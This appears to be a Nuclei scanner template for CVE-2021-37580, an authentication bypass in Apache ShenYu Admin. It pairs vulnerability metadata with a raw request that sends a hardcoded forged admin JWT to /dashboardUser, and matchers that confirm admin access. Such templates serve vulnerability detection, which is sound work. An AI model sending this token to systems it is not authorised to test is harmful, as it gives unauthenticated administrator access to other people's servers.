id: CVE-2021-37580 info: name: Apache ShenYu Admin JWT - Authentication Bypass author: pdteam severity: critical description: Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication. reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-37580 - https://github.com/fengwenhua/CVE-2021-37580 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-37580 cwe-id: CWE-287 tags: cve,cve2021,apache,jwt,shenyu requests: - raw: - | GET /dashboardUser HTTP/1.1 Host: {{Hostname}} X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk matchers-condition: and matchers: - type: word words: - 'query success' - '"userName":"admin"' - '"code":200' condition: and - type: status status: - 200 # Enhanced by mp on 2022/05/02